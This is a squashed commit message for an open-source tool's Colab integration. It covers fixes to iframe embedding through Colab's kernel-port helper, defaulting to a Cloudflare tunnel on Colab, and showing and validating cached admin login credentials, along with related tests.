* fix(studio/colab): restore iframe embed via serve_kernel_port_as_iframe
Colab's output sanitizer often strips custom <iframe> tags from
IPython.display.HTML without raising, leaving a blank cell even though
display() succeeded. The kernel-port helper is the supported embedding
path and registers the proxy correctly.
- Prefer serve_kernel_port_as_iframe; keep raw HTML iframe as fallback
- Always show the clickable link card via show_link() so the proxy URL
is visible even when iframe embedding fails
- Add regression tests for embed ordering and URL truncation
Fixes#7344
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio/colab): harden iframe embed fallbacks per Codex review
Guard show_link so a display failure cannot skip embedding, and only use
serve_kernel_port_as_iframe when get_colab_url returned a real Colab proxy
URL so localhost/colabtools environments still get the HTML iframe path.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio/colab): stop opening Colab proxy URLs in a new tab (#7349)
Colab *.prod.colab.dev proxy hosts are session-scoped and return HTTP 404
when opened as a top-level tab or from another device. Replace the
clickable Open button for those URLs with an in-notebook ready card, keep
serve_kernel_port_as_iframe for the UI, and point users at
start(cloudflare=True) for a real shareable / new-window link.
* fix(studio/colab): use kernel iframe on real Colab when eval_js fails (#7349)
Gate serve_kernel_port_as_iframe on COLAB_RELEASE_TAG + google.colab import
instead of a successful proxyPort URL. When eval_js fails and get_colab_url
falls back to localhost, real Colab notebooks still embed via the kernel helper
(port-only). colabtools without COLAB_RELEASE_TAG keeps the HTML iframe path.
Thanks @mfielding92 for the runtime diagnosis.
* Mock top-level google package in Colab embed tests
* test(studio/colab): mock top-level google package in Colab tests
Patching only sys.modules["google.colab"] fails when no google namespace
is installed: import google.colab resolves the parent first and returns
False in _is_colab_runtime(). Add a shared helper that mocks both google
and google.colab for deterministic tests across environments.
* Tighten comments in Colab embed helpers and tests
* fix(studio/colab): default Cloudflare on Colab with durable login credentials
Colab proxy iframes often load an empty document even when the kernel helper
appends the frame, leaving users unable to reach Studio to change the bootstrap
password and blocking start(cloudflare=True).
On real Colab runtime:
- Default cloudflare to True (pass cloudflare=False to opt out)
- Finalize the random admin password and print credentials in the notebook
- Persist credentials across cell re-runs after interrupt
- Show Cloudflare link before login credentials; skip blank proxy iframe when ready
- Reuse main._IS_COLAB for runtime detection (not COLAB_RELEASE_TAG alone)
- Only trust serve_kernel_port_as_iframe on real Colab; colabtools falls back to HTML
- Keep embedding when the link card display fails
Addresses Codex review feedback on #7349 and @mfielding92's catch-22 report.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio/colab): skip credential finalize when cloudflare=False
Only call _finalize_colab_admin_password() when opening a Cloudflare
tunnel. start(cloudflare=False) should not clear the bootstrap-password
gate or show a login card that references a missing tunnel link.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio/colab): drop stale cached Colab credentials after password change
On a Colab rerun the finalize path redisplayed the cached first-run
password whenever the bootstrap gate was already cleared. If the admin
changed the password through the app, that cached copy no longer
authenticates, so the notebook printed dead credentials. Validate the
cached password against the current stored hash before redisplaying and
drop the cache when it no longer matches.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Leo Borcherding